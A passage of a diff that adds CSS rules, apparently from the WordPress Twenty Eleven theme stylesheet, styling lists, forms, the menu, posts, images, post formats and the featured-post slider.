+	list-style-type: decimal;
+}
+ol ol {
+	list-style: upper-alpha;
+}
+ol ol ol {
+	list-style: lower-roman;
+}
+ol ol ol ol {
+	list-style: lower-alpha;
+}
+ul ul, ol ol, ul ol, ol ul {
+	margin-bottom: 0;
+}
+dl {
+	margin: 0 1.625em;
+}
+dt {
+	font-weight: bold;
+}
+dd {
+	margin-bottom: 1.625em;
+}
+strong {
+	font-weight: bold;
+}
+cite, em, i {
+	font-style: italic;
+}
+blockquote {
+	font-family: Georgia, "Bitstream Charter", serif;
+	font-style: italic;
+	font-weight: normal;
+	margin: 0 3em;
+}
+blockquote em, blockquote i, blockquote cite {
+	font-style: normal;
+}
+blockquote cite {
+	color: #666;
+	font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-weight: 300;
+	letter-spacing: 0.05em;
+	text-transform: uppercase;
+}
+pre {
+	background: #f4f4f4;
+	font: 13px "Courier 10 Pitch", Courier, monospace;
+	line-height: 1.5;
+	margin-bottom: 1.625em;
+	overflow: auto;
+	padding: 0.75em 1.625em;
+}
+code, kbd, samp, var {
+	font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+abbr, acronym, dfn {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+address {
+	display: block;
+	margin: 0 0 1.625em;
+}
+ins {
+	background: #fff9c0;
+	text-decoration: none;
+}
+sup,
+sub {
+	font-size: 10px;
+	height: 0;
+	line-height: 1;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	bottom: 1ex;
+}
+sub {
+	top: .5ex;
+}
+small {
+	font-size: smaller;
+}
+
+/* Forms */
+input[type=text],
+input[type=password],
+input[type=email],
+input[type=url],
+input[type=number],
+textarea {
+	background: #fafafa;
+	-moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	border: 1px solid #ddd;
+	color: #888;
+}
+input[type=text]:focus,
+input[type=password]:focus,
+input[type=email]:focus,
+input[type=url]:focus,
+input[type=number]:focus,
+textarea:focus {
+	color: #373737;
+}
+textarea {
+	padding-left: 3px;
+	width: 98%;
+}
+input[type=text],
+input[type=password],
+input[type=email],
+input[type=url],
+input[type=number] {
+	padding: 3px;
+}
+input#s {
+	background: url(images/search.png) no-repeat 5px 6px;
+	-moz-border-radius: 2px;
+	border-radius: 2px;
+	font-size: 14px;
+	height: 22px;
+	line-height: 1.2em;
+	padding: 4px 10px 4px 28px;
+}
+input#searchsubmit {
+	display: none;
+}
+
+/* Links */
+a {
+	color: #1982d1;
+	text-decoration: none;
+}
+a:focus,
+a:active,
+a:hover {
+	text-decoration: underline;
+}
+
+/* Assistive text */
+.assistive-text,
+.screen-reader-text {
+	position: absolute !important;
+	clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
+	clip: rect(1px, 1px, 1px, 1px);
+	overflow: hidden;
+	height: 1px;
+	width: 1px;
+}
+#access a.assistive-text:focus,
+.screen-reader-text:hover,
+.screen-reader-text:active,
+.screen-reader-text:focus {
+	background: #eee;
+	border-bottom: 1px solid #ddd;
+	color: #1982d1;
+	clip: auto !important;
+	font-size: 12px;
+	height: auto;
+	position: absolute;
+	text-decoration: underline;
+	top: 0;
+	left: 7.6%;
+	width: auto;
+}
+
+
+/* =Header
+----------------------------------------------- */
+
+#branding {
+	border-top: 2px solid #bbb;
+	padding-bottom: 10px;
+	position: relative;
+	z-index: 9999;
+}
+#site-title {
+	margin-right: 270px;
+	padding: 3.65625em 0 0;
+}
+#site-title a {
+	color: #111;
+	font-size: 30px;
+	font-weight: bold;
+	line-height: 36px;
+	text-decoration: none;
+}
+#site-title a:hover,
+#site-title a:focus,
+#site-title a:active {
+	color: #1982d1;
+}
+#site-description {
+	color: #7a7a7a;
+	font-size: 14px;
+	margin: 0 270px 3.65625em 0;
+}
+#branding img {
+	height: auto;
+	display: block;
+	width: 100%;
+}
+
+
+/* =Menu
+-------------------------------------------------------------- */
+
+#access {
+	background: #222; /* Show a solid color for older browsers */
+	background: -moz-linear-gradient(#252525, #0a0a0a);
+	background: -o-linear-gradient(#252525, #0a0a0a);
+	background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#252525), to(#0a0a0a)); /* older webkit syntax */
+	background: -webkit-linear-gradient(#252525, #0a0a0a);
+	-webkit-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px;
+	-moz-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px;
+	box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px;
+	clear: both;
+	display: block;
+	float: left;
+	margin: 0 auto 6px;
+	width: 100%;
+}
+#access ul {
+	font-size: 13px;
+	list-style: none;
+	margin: 0 0 0 -0.8125em;
+	padding-left: 0;
+}
+#access li {
+	float: left;
+	position: relative;
+}
+#access a {
+	color: #eee;
+	display: block;
+	line-height: 3.333em;
+	padding: 0 1.2125em;
+	text-decoration: none;
+}
+#access ul ul {
+	-moz-box-shadow: 0 3px 3px rgba(0,0,0,0.2);
+	-webkit-box-shadow: 0 3px 3px rgba(0,0,0,0.2);
+	box-shadow: 0 3px 3px rgba(0,0,0,0.2);
+	display: none;
+	float: left;
+	margin: 0;
+	position: absolute;
+	top: 3.333em;
+	left: 0;
+	width: 188px;
+	z-index: 99999;
+}
+#access ul ul ul {
+	left: 100%;
+	top: 0;
+}
+#access ul ul a {
+	background: #f9f9f9;
+	border-bottom: 1px dotted #ddd;
+	color: #444;
+	font-size: 13px;
+	font-weight: normal;
+	height: auto;
+	line-height: 1.4em;
+	padding: 10px 10px;
+	width: 168px;
+}
+#access li:hover > a,
+#access ul ul :hover > a,
+#access a:focus {
+	background: #efefef;
+}
+#access li:hover > a,
+#access a:focus {
+	background: #f9f9f9; /* Show a solid color for older browsers */
+	background: -moz-linear-gradient(#f9f9f9, #e5e5e5);
+	background: -o-linear-gradient(#f9f9f9, #e5e5e5);
+	background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#f9f9f9), to(#e5e5e5)); /* Older webkit syntax */
+	background: -webkit-linear-gradient(#f9f9f9, #e5e5e5);
+	color: #373737;
+}
+#access ul li:hover > ul {
+	display: block;
+}
+#access .current-menu-item > a,
+#access .current-menu-ancestor > a,
+#access .current_page_item > a,
+#access .current_page_ancestor > a {
+	font-weight: bold;
+}
+
+/* Search Form */
+#branding #searchform {
+	position: absolute;
+	top: 3.8em;
+	right: 7.6%;
+	text-align: right;
+}
+#branding #searchform div {
+	margin: 0;
+}
+#branding #s {
+	float: right;
+	-webkit-transition-duration: 400ms;
+	-webkit-transition-property: width, background;
+	-webkit-transition-timing-function: ease;
+	-moz-transition-duration: 400ms;
+	-moz-transition-property: width, background;
+	-moz-transition-timing-function: ease;
+	-o-transition-duration: 400ms;
+	-o-transition-property: width, background;
+	-o-transition-timing-function: ease;
+	width: 72px;
+}
+#branding #s:focus {
+	background-color: #f9f9f9;
+	width: 196px;
+}
+#branding #searchsubmit {
+	display: none;
+}
+#branding .only-search #searchform {
+	top: 5px;
+	z-index: 1;
+}
+#branding .only-search #s {
+	background-color: #666;
+	border-color: #000;
+	color: #222;
+}
+#branding .only-search #s,
+#branding .only-search #s:focus {
+	width: 85%;
+}
+#branding .only-search #s:focus {
+	background-color: #bbb;
+}
+#branding .with-image #searchform {
+	top: auto;
+	bottom: -27px;
+	max-width: 195px;
+}
+#branding .only-search + #access div {
+	padding-right: 205px;
+}
+
+
+/* =Content
+----------------------------------------------- */
+
+#main {
+	clear: both;
+	padding: 1.625em 0 0;
+}
+.page-title {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	margin: 0 0 2.6em;
+	text-transform: uppercase;
+}
+.page-title a {
+	font-size: 12px;
+	font-weight: bold;
+	letter-spacing: 0;
+	text-transform: none;
+}
+.hentry,
+.no-results {
+	border-bottom: 1px solid #ddd;
+	margin: 0 0 1.625em;
+	padding: 0 0 1.625em;
+	position: relative;
+}
+.hentry:last-child,
+.no-results {
+	border-bottom: none;
+}
+.blog .sticky .entry-header .entry-meta {
+	clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
+	clip: rect(1px, 1px, 1px, 1px);
+	position: absolute !important;
+}
+.entry-title,
+.entry-header .entry-meta {
+	padding-right: 76px;
+}
+.entry-title {
+	clear: both;
+	color: #222;
+	font-size: 26px;
+	font-weight: bold;
+	line-height: 1.5em;
+	padding-bottom: .3em;
+	padding-top: 15px;
+}
+.entry-title,
+.entry-title a {
+	color: #222;
+	text-decoration: none;
+}
+.entry-title a:hover,
+.entry-title a:focus,
+.entry-title a:active {
+	color: #1982d1;
+}
+.entry-meta {
+	color: #666;
+	clear: both;
+	font-size: 12px;
+	line-height: 18px;
+}
+.entry-meta a {
+	font-weight: bold;
+}
+.single-author .entry-meta .by-author {
+	display: none;
+}
+.entry-content,
+.entry-summary {
+	padding: 1.625em 0 0;
+}
+.entry-content .more-link {
+	white-space: nowrap;
+}
+.entry-content h1,
+.entry-content h2,
+.comment-content h1,
+.comment-content h2 {
+	color: #000;
+	font-weight: bold;
+	margin: 0 0 .8125em;
+}
+.entry-content h3,
+.comment-content h3 {
+	font-size: 10px;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+.entry-content table,
+.comment-content table {
+	border-bottom: 1px solid #ddd;
+	margin: 0 0 1.625em;
+	width: 100%;
+}
+.entry-content th,
+.comment-content th {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+.entry-content td,
+.comment-content td {
+	border-top: 1px solid #ddd;
+	padding: 6px 10px 6px 0;
+}
+.entry-content #s {
+	width: 75%;
+}
+.comment-content ul,
+.comment-content ol {
+	margin-bottom: 1.625em;
+}
+.comment-content ul ul,
+.comment-content ol ol,
+.comment-content ul ol,
+.comment-content ol ul {
+	margin-bottom: 0;
+}
+dl.gallery-item {
+	margin: 0;
+}
+.page-link {
+	clear: both;
+	display: block;
+	margin: 0 0 1.625em;
+}
+.page-link a {
+	background: #eee;
+	color: #373737;
+	margin: 0;
+	padding: 2px 3px;
+	text-decoration: none;
+}
+.page-link a:hover {
+	background: #888;
+	color: #fff;
+	font-weight: bold;
+}
+.page-link span {
+	margin-right: 6px;
+}
+.entry-meta .edit-link a,
+.commentlist .edit-link a {
+	background: #eee;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	color: #666;
+	float: right;
+	font-size: 12px;
+	line-height: 1.5em;
+	font-weight: 300;
+	text-decoration: none;
+	padding: 0 8px;
+}
+.entry-meta .edit-link a:hover,
+.commentlist .edit-link a:hover {
+	background: #888;
+	color: #fff;
+}
+.entry-content .edit-link {
+	clear: both;
+	display: block;
+}
+
+/* Images */
+.entry-content img,
+.comment-content img,
+.widget img {
+	max-width: 100%; /* Fluid images for posts, comments, and widgets */
+}
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+img.size-full,
+img.size-large {
+	max-width: 97.5%;
+	width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+.entry-content img.wp-smiley {
+	border: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+img.alignleft,
+img.alignright,
+img.aligncenter {
+	margin-bottom: 1.625em;
+}
+p img,
+.wp-caption {
+	margin-top: 0.4em;
+}
+.wp-caption {
+	background: #eee;
+	margin-bottom: 1.625em;
+	max-width: 96%;
+	max-width: calc( 100% - 18px );
+	padding: 9px;
+}
+.wp-caption img {
+	display: block;
+	max-width: 98%;
+	max-width: calc( 100% - 14px );
+}
+.wp-caption .wp-caption-text,
+.gallery-caption {
+	color: #666;
+	font-family: Georgia, serif;
+	font-size: 12px;
+}
+.wp-caption .wp-caption-text {
+	margin-bottom: 0.6em;
+	padding: 10px 0 5px 40px;
+	position: relative;
+}
+.wp-caption .wp-caption-text:before {
+	color: #666;
+	content: '\2014';
+	font-size: 14px;
+	font-style: normal;
+	font-weight: bold;
+	margin-right: 5px;
+	position: absolute;
+	left: 10px;
+	top: 7px;
+}
+#content .gallery {
+	margin: 0 auto 1.625em;
+}
+#content .gallery a img {
+	border: none;
+}
+img#wpstats {
+	display: block;
+	margin: 0 auto 1.625em;
+}
+#content .gallery-columns-4 .gallery-item {
+	width: 23%;
+	padding-right: 2%;
+}
+#content .gallery-columns-4 .gallery-item img {
+	width: 100%;
+	height: auto;
+}
+
+/* Image borders */
+img[class*="align"],
+img[class*="wp-image-"],
+#content .gallery .gallery-icon img {/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */
+	border: 1px solid #ddd;
+	padding: 6px;
+	max-width: 97.5%;
+	max-width: calc( 100% - 14px );
+}
+.wp-caption img {
+	border-color: #eee;
+}
+a:focus img[class*="align"],
+a:hover img[class*="align"],
+a:active img[class*="align"],
+a:focus img[class*="wp-image-"],
+a:hover img[class*="wp-image-"],
+a:active img[class*="wp-image-"],
+#content .gallery .gallery-icon a:focus img,
+#content .gallery .gallery-icon a:hover img,
+#content .gallery .gallery-icon a:active img {/* Add some useful style to those fancy borders for linked images ... */
+	background: #eee;
+	border-color: #bbb;
+}
+.wp-caption a:focus img,
+.wp-caption a:active img,
+.wp-caption a:hover img {/* ... including captioned images! */
+	background: #fff;
+	border-color: #ddd;
+}
+
+/* Make sure videos and embeds fit their containers */
+embed,
+iframe,
+object {
+	max-width: 100%;
+}
+.entry-content .twitter-tweet-rendered {
+	max-width: 100% !important; /* Override the Twitter embed fixed width */
+}
+
+/* Password Protected Posts */
+.post-password-required .entry-header .comments-link {
+	margin: 1.625em 0 0;
+}
+.post-password-required input[type=password] {
+	margin: 0.8125em 0;
+}
+.post-password-required input[type=password]:focus {
+	background: #f7f7f7;
+}
+
+/* Author Info */
+#author-info {
+	font-size: 12px;
+	overflow: hidden;
+}
+.singular #author-info {
+	background: #f9f9f9;
+	border-top: 1px solid #ddd;
+	border-bottom: 1px solid #ddd;
+	margin: 2.2em -35.6% 0 -35.4%;
+	padding: 20px 35.4%;
+}
+.archive #author-info {
+	border-bottom: 1px solid #ddd;
+	margin: 0 0 2.2em;
+	padding: 0 0 2.2em;
+}
+#author-avatar {
+	float: left;
+	margin-right: -78px;
+}
+#author-avatar img {
+	background: #fff;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 1px 2px #bbb;
+	-moz-box-shadow: 0 1px 2px #bbb;
+	box-shadow: 0 1px 2px #bbb;
+	padding: 3px;
+}
+#author-description {
+	float: left;
+	margin-left: 108px;
+}
+#author-description h2 {
+	color: #000;
+	font-size: 15px;
+	font-weight: bold;
+	margin: 5px 0 10px;
+}
+
+/* Comments link */
+.entry-header .comments-link a {
+	background: #eee url(images/comment-bubble.png) no-repeat;
+	color: #666;
+	font-size: 13px;
+	font-weight: normal;
+	line-height: 35px;
+	overflow: hidden;
+	padding: 0 0 0;
+	position: absolute;
+	top: 1.5em;
+	right: 0;
+	text-align: center;
+	text-decoration: none;
+	width: 43px;
+	height: 36px;
+}
+.entry-header .comments-link a:hover,
+.entry-header .comments-link a:focus,
+.entry-header .comments-link a:active {
+	background-color: #1982d1;
+	color: #fff;
+	color: rgba(255,255,255,0.8);
+}
+.entry-header .comments-link .leave-reply {
+	visibility: hidden;
+}
+
+/*
+Post Formats Headings
+To hide the headings, display: none the ".entry-header .entry-format" selector,
+and remove the padding rules below.
+*/
+.entry-header .entry-format {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	position: absolute;
+	text-transform: uppercase;
+	top: -5px;
+}
+.entry-header hgroup .entry-title {
+	padding-top: 15px;
+}
+article.format-aside .entry-content,
+article.format-link .entry-content,
+article.format-status .entry-content {
+	padding: 20px 0 0;
+}
+article.format-status .entry-content {
+	min-height: 65px;
+}
+.recent-posts .entry-header .entry-format {
+	display: none;
+}
+.recent-posts .entry-header hgroup .entry-title {
+	padding-top: 0;
+}
+
+/* Singular content styles for Posts and Pages */
+.singular .hentry {
+	border-bottom: none;
+	padding: 4.875em 0 0;
+	position: relative;
+}
+.singular.page .hentry {
+	padding: 3.5em 0 0;
+}
+.singular .entry-title {
+	color: #000;
+	font-size: 36px;
+	font-weight: bold;
+	line-height: 48px;
+}
+.singular .entry-title,
+.singular .entry-header .entry-meta {
+	padding-right: 0;
+}
+.singular .entry-header .entry-meta {
+	position: absolute;
+	top: 0;
+	left: 0;
+}
+blockquote.pull {
+	font-size: 21px;
+	font-weight: bold;
+	line-height: 1.6125em;
+	margin: 0 0 1.625em;
+	text-align: center;
+}
+.singular blockquote.pull {
+	margin: 0 -22.25% 1.625em;
+}
+.pull.alignleft {
+	margin: 0 1.625em 0 0;
+	text-align: right;
+}
+.singular .pull.alignleft {
+	margin: 0 1.625em 0 -22.25%;
+}
+.pull.alignright {
+	margin: 0 0 0 1.625em;
+	text-align: left;
+}
+blockquote.pull.alignleft,
+blockquote.pull.alignright {
+	width: 33%;
+}
+.singular .pull.alignright {
+	margin: 0 -22.25% 0 1.625em;
+}
+.singular blockquote.pull.alignleft,
+.singular blockquote.pull.alignright {
+	width: 33%;
+}
+.singular .entry-meta .edit-link a {
+	bottom: auto;
+	left: 50px;
+	position: absolute;
+	right: auto;
+	top: 80px;
+}
+
+
+/* =Aside
+----------------------------------------------- */
+
+.format-aside .entry-title,
+.format-aside .entry-header .comments-link {
+	display: none;
+}
+.singular .format-aside .entry-title {
+	display: block;
+}
+.format-aside .entry-content {
+	padding: 0;
+}
+.singular .format-aside .entry-content {
+	padding: 1.625em 0 0;
+}
+
+
+/* =Link
+----------------------------------------------- */
+
+.format-link .entry-title,
+.format-link .entry-header .comments-link {
+	display: none;
+}
+.singular .format-link .entry-title {
+	display: block;
+}
+.format-link .entry-content {
+	padding: 0;
+}
+.singular .format-link .entry-content {
+	padding: 1.625em 0 0;
+}
+
+
+/* =Gallery
+----------------------------------------------- */
+
+.format-gallery .gallery-thumb {
+	float: left;
+	display: block;
+	margin: .375em 1.625em 0 0;
+	max-width: 100%;
+}
+
+
+/* =Status
+----------------------------------------------- */
+
+.format-status .entry-title,
+.format-status .entry-header .comments-link {
+	display: none;
+}
+.singular .format-status .entry-title {
+	display: block;
+}
+.format-status .entry-content {
+	padding: 0;
+}
+.singular .format-status .entry-content {
+	padding: 1.625em 0 0;
+}
+.format-status img.avatar {
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 1px 2px #ccc;
+	-moz-box-shadow: 0 1px 2px #ccc;
+	box-shadow: 0 1px 2px #ccc;
+	float: left;
+	margin: 4px 10px 2px 0;
+	padding: 0;
+}
+
+/* =Standard
+----------------------------------------------- */
+
+.format-standard .wp-video,
+.format-standard .wp-audio-shortcode,
+.format-audio .wp-audio-shortcode,
+.format-standard .video-player {
+	margin-bottom: 24px;
+}
+
+/* =Quote
+----------------------------------------------- */
+
+.format-quote blockquote {
+	color: #555;
+	font-size: 17px;
+	margin: 0;
+}
+
+
+/* =Image
+----------------------------------------------- */
+
+.indexed.format-image .entry-header {
+	min-height: 61px; /* Prevent the comment icon from colliding with the image when there is no title */
+}
+.indexed.format-image .entry-content {
+	padding-top: 0.5em;
+}
+.indexed.format-image .entry-content p {
+	margin: 1em 0;
+}
+.indexed.format-image .entry-content p:first-child,
+.indexed.format-image .entry-content p:first-child a,
+.indexed.format-image .entry-content p:first-child img {
+	display: block;
+	margin: 0;
+}
+.indexed.format-image .entry-content .wp-caption .wp-caption-text {
+	margin: 0;
+	padding-bottom: 1em;
+}
+.indexed.format-image footer.entry-meta {
+	background: #ddd;
+	overflow: hidden;
+	padding: 4%;
+	max-width: 96%;
+}
+.indexed.format-image div.entry-meta {
+	display: inline-block;
+	float: left;
+	width: 35%;
+}
+.indexed.format-image div.entry-meta + div.entry-meta {
+	float: none;
+	width: 65%;
+}
+.indexed.format-image .entry-meta span.cat-links,
+.indexed.format-image .entry-meta span.tag-links,
+.indexed.format-image .entry-meta span.comments-link {
+	display: block;
+}
+.indexed.format-image footer.entry-meta a {
+	color: #444;
+}
+.indexed.format-image footer.entry-meta a:hover {
+	color: #fff;
+}
+#content .indexed.format-image img {
+	border: none;
+	max-width: 100%;
+	padding: 0;
+}
+.indexed.format-image .wp-caption {
+	background: #111;
+	margin-bottom: 0;
+	max-width: 96%;
+	padding: 2% 2% 0;
+}
+.indexed.format-image .wp-caption .wp-caption-text {
+	color: #ddd;
+}
+.indexed.format-image .wp-caption .wp-caption-text:before {
+	color: #444;
+}
+.indexed.format-image a:hover img {
+	opacity: 0.8;
+}
+
+
+/* =error404
+----------------------------------------------- */
+
+.error404 #main #searchform {
+	background: #f9f9f9;
+	border: 1px solid #ddd;
+	border-width: 1px 0;
+	margin: 0 -8.9% 1.625em;
+	overflow: hidden;
+	padding: 1.625em 8.9%;
+}
+.error404 #main #s {
+	width: 95%;
+}
+.error404 #main .widget {
+	clear: none;
+	float: left;
+	margin-right: 3.7%;
+	width: 30.85%;
+}
+.error404 #main .widget_archive {
+	margin-right: 0;
+}
+.error404 #main .widget_tag_cloud {
+	float: none;
+	margin-right: 0;
+	width: 100%;
+}
+.error404 .widgettitle {
+	font-size: 10px;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+
+
+/* =Showcase
+----------------------------------------------- */
+
+h1.showcase-heading {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+
+/* Intro */
+article.intro {
+	background: #f9f9f9;
+	border-bottom: none;
+	margin: -1.855em -8.9% 1.625em;
+	padding: 0 8.9%;
+}
+article.intro .entry-title {
+	display: none;
+}
+article.intro .entry-content {
+	color: #111;
+	font-size: 16px;
+	padding: 1.625em 0 0.625em;
+}
+article.intro .edit-link a {
+	background: #aaa;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	color: #fff;
+	font-size: 12px;
+	padding: 0 8px;
+	position: absolute;
+	top: 30px;
+	right: 20px;
+	text-decoration: none;
+}
+article.intro .edit-link a:hover,
+article.intro .edit-link a:focus,
+article.intro .edit-link a:active {
+	background: #777;
+}
+
+/* Featured post */
+section.featured-post {
+	float: left;
+	margin: -1.625em -8.9% 1.625em;
+	padding: 1.625em 8.9% 0;
+	position: relative;
+	width: 100%;
+}
+section.featured-post .hentry {
+	border: none;
+	color: #666;
+	margin: 0;
+}
+section.featured-post .entry-meta {
+	clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
+	clip: rect(1px, 1px, 1px, 1px);
+	position: absolute !important;
+}
+
+/* Small featured post */
+section.featured-post .attachment-small-feature {
+	float: right;
+	height: auto;
+	margin: 0 -8.9% 1.625em 0;
+	max-width: 59%;
+	position: relative;
+	right: -15px;
+}
+section.featured-post.small {
+	padding-top: 0;
+}
+section.featured-post .attachment-small-feature:hover,
+section.featured-post .attachment-small-feature:focus,
+section.featured-post .attachment-small-feature:active {
+	opacity: .8;
+}
+article.feature-image.small {
+	float: left;
+	margin: 0 0 1.625em;
+	width: 45%;
+}
+article.feature-image.small .entry-title {
+	line-height: 1.2em;
+}
+article.feature-image.small .entry-summary {
+	color: #555;
+	font-size: 13px;
+}
+article.feature-image.small .entry-summary p a {
+	background: #222;
+	color: #eee;
+	display: block;
+	left: -23.8%;
+	padding: 9px 26px 9px 85px;
+	position: relative;
+	text-decoration: none;
+	top: 20px;
+	width: 180px;
+	z-index: 1;
+}
+article.feature-image.small .entry-summary p a:hover {
+	background: #1982d1;
+	color: #eee;
+	color: rgba(255,255,255,0.8);
+}
+
+/* Large featured post */
+section.feature-image.large {
+	border: none;
+	max-height: 288px;
+	padding: 0;
+	width: 100%;
+}
+section.feature-image.large .showcase-heading {
+	display: none;
+}
+section.feature-image.large .hentry {
+	border-bottom: none;
+	left: 9%;
+	margin: 1.625em 9% 0 0;
+	position: absolute;
+	top: 0;
+}
+article.feature-image.large .entry-title a {
+	background: #222;
+	background: rgba(0,0,0,0.8);
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	color: #fff;
+	display: inline-block;
+	font-weight: 300;
+	padding: .2em 20px;
+}
+section.feature-image.large:hover .entry-title a,
+section.feature-image.large .entry-title:hover a {
+	background: #eee;
+	background: rgba(255,255,255,0.8);
+	color: #222;
+}
+article.feature-image.large .entry-summary {
+	display: none;
+}
+section.feature-image.large img {
+	display: block;
+	height: auto;
+	max-width: 117.9%;
+	padding: 0 0 6px;
+}
+
+/* Featured Slider */
+.featured-posts {
+	border-bottom: 1px solid #ddd;
+	display: block;
+	height: 328px;
+	margin: 1.625em -8.9% 20px;
+	max-width: 1000px;
+	padding: 0;
+	position: relative;
+	overflow: hidden;
+}
+.featured-posts .showcase-heading {
+	padding-left: 8.9%;
+}
+.featured-posts section.featured-post {
+	background: #fff;
+	height: 288px;
+	left: 0;
+	margin: 0;
+	position: absolute;
+	top: 30px;
+	width: auto;
+}
+.featured-posts section.featured-post.large {
+	max-width: 100%;
+	overflow: hidden;
+}
+.featured-posts section.featured-post {
+	-webkit-transition-duration: 200ms;
+	-webkit-transition-property: opacity, visibility;
+	-webkit-transition-timing-function: ease;
+	-moz-transition-duration: 200ms;
+	-moz-transition-property: opacity, visibility;
+	-moz-transition-timing-function: ease;
+}
+.featured-posts section.featured-post {
+	opacity: 0;
+	visibility: hidden;
+}
+.featured-posts #featured-post-1 {
+	opacity: 1;
+	visibility: visible;
+}
+.featured-post .feature-text:after,
+.featured-post .feature-image.small:after {
+	content: ' ';
+	background: -moz-linear-gradient(top, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 100%); /* FF3.6+ */
+	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */
+	background: -webkit-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */
+	background: -o-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Opera11.10+ */
+	background: -ms-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* IE10+ */
+	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 ); /* IE6-9 */
+	background: linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* W3C */
+	width: 100%;
+	height: 45px;
+	position: absolute;
+	top: 230px;
+}
+.featured-post .feature-image.small:after {
+	top: 253px;
+}
+#content .feature-slider {
+	top: 5px;
+	right: 8.9%;
+	overflow: visible;
+	position: absolute;
+}
+.feature-slider ul {
+	list-style-type: none;
+	margin: 0;
+}
+.feature-slider li {
+	float: left;
+	margin: 0 6px;
+}
+.feature-slider a {
+	background: #3c3c3c;
+	background: rgba(60,60,60,0.9);
+	-moz-border-radius: 12px;
+	border-radius: 12px;
+	-webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	-moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	display: block;
+	width: 14px;
+	height: 14px;
+}
+.feature-slider a.active {
+	background: #1982d1;
+	-webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	-moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	cursor: default;
+	opacity: 0.5;
+}
+
+/* Recent Posts */
+section.recent-posts {
+	padding: 0 0 1.625em;
+}
+section.recent-posts .hentry {
+	border: none;
+	margin: 0;
+}
+section.recent-posts .other-recent-posts {
+	border-bottom: 1px solid #ddd;
+	list-style: none;
+	margin: 0;
+}
+section.recent-posts .other-recent-posts li {
+	padding: 0.3125em 0;
+	position: relative;
+}
+section.recent-posts .other-recent-posts .entry-title {
+	border-top: 1px solid #ddd;
+	font-size: 17px;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"] {
+	color: #373737;
+	float: left;
+	max-width: 84%;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"]:after {
+	content: '-';
+	color: transparent;
+	font-size: 11px;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"]:hover {
+}
+section.recent-posts .other-recent-posts .comments-link a,
+section.recent-posts .other-recent-posts .comments-link > span {
+	border-bottom: 2px solid #999;
+	bottom: -2px;
+	color: #444;
+	display: block;
+	font-size: 10px;
+	font-weight: 500;
+	line-height: 2.76333em;
+	padding: 0.3125em 0 0.3125em 1em;
+	position: absolute;
+	right: 0;
+	text-align: right;
+	text-transform: uppercase;
+	z-index: 1;
+}
+section.recent-posts .other-recent-posts .comments-link > span {
+	border-color: #bbb;
+	color: #888;
+}
+section.recent-posts .other-recent-posts .comments-link a:hover {
+	color: #1982d1;
+	border-color: #1982d1;
+}
+section.recent-posts .other-recent-posts li:after {
+	clear: both;
+	content: '.';
+	display: block;
+	height: 0;
+	visibility: hidden;
+}
+
+
+/* =Attachments
+----------------------------------------------- */
+
+.image-attachment div.attachment {
+	background: #f9f9f9;
+	border: 1px solid #ddd;
